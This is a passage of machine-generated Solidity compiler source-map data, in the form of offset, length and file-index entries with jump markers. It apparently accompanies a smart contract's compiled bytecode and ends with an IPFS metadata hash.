;3867:10;;3890:5;;;3914:130;3951:3;3941:8;3938:17;3935:43;;;3958:18;;:::i;:::-;-1:-1:-1;;4014:1:1;4000:16;;4029:5;;3826:218;;4128:2;4118:8;4115:16;4109:3;4103:4;4100:13;4096:36;4090:2;4080:8;4077:16;4072:2;4066:4;4063:12;4059:35;4056:77;4053:159;;;-1:-1:-1;4165:19:1;;;4197:5;;4053:159;4244:34;4269:8;4263:4;4244:34;:::i;:::-;4314:6;4310:1;4306:6;4302:19;4293:7;4290:32;4287:58;;;4325:18;;:::i;:::-;4363:20;;3583:806;-1:-1:-1;;;3583:806:1:o;4394:140::-;4452:5;4481:47;4522:4;4512:8;4508:19;4502:4;4481:47;:::i;4539:168::-;4612:9;;;4643;;4660:15;;;4654:22;;4640:37;4630:71;;4681:18;;:::i;4712:356::-;4914:2;4896:21;;;4933:18;;;4926:30;4992:34;4987:2;4972:18;;4965:62;5059:2;5044:18;;4712:356::o;5425:251::-;5495:6;5548:2;5536:9;5527:7;5523:23;5519:32;5516:52;;;5564:1;5561;5554:12;5516:52;5596:9;5590:16;5615:31;5640:5;5615:31;:::i;6602:306::-;6690:6;6698;6706;6759:2;6747:9;6738:7;6734:23;6730:32;6727:52;;;6775:1;6772;6765:12;6727:52;6804:9;6798:16;6788:26;;6854:2;6843:9;6839:18;6833:25;6823:35;;6898:2;6887:9;6883:18;6877:25;6867:35;;6602:306;;;;;:::o;7192:277::-;7259:6;7312:2;7300:9;7291:7;7287:23;7283:32;7280:52;;;7328:1;7325;7318:12;7280:52;7360:9;7354:16;7413:5;7406:13;7399:21;7392:5;7389:32;7379:60;;7435:1;7432;7425:12;9502:128;9569:9;;;9590:11;;;9587:37;;;9604:18;;:::i;9635:125::-;9700:9;;;9721:10;;;9718:36;;;9734:18;;:::i;10474:135::-;10513:3;10534:17;;;10531:43;;10554:18;;:::i;:::-;-1:-1:-1;10601:1:1;10590:13;;10474:135::o;10614:127::-;10675:10;10670:3;10666:20;10663:1;10656:31;10706:4;10703:1;10696:15;10730:4;10727:1;10720:15;10878:980;11140:4;11188:3;11177:9;11173:19;11219:6;11208:9;11201:25;11245:2;11283:6;11278:2;11267:9;11263:18;11256:34;11326:3;11321:2;11310:9;11306:18;11299:31;11350:6;11385;11379:13;11416:6;11408;11401:22;11454:3;11443:9;11439:19;11432:26;;11493:2;11485:6;11481:15;11467:29;;11514:1;11524:195;11538:6;11535:1;11532:13;11524:195;;;11603:13;;-1:-1:-1;;;;;11599:39:1;11587:52;;11694:15;;;;11659:12;;;;11635:1;11553:9;11524:195;;;-1:-1:-1;;;;;;;11775:32:1;;;;11770:2;11755:18;;11748:60;-1:-1:-1;;;11839:3:1;11824:19;11817:35;11736:3;10878:980;-1:-1:-1;;;10878:980:1:o;11863:217::-;11903:1;11929;11919:132;;11973:10;11968:3;11964:20;11961:1;11954:31;12008:4;12005:1;11998:15;12036:4;12033:1;12026:15;11919:132;-1:-1:-1;12065:9:1;;11863:217::o

ipfs://0ec481485218d3753bbfa38049c8c78c5b3ce0d5dcecd310c2f8350094a0a35c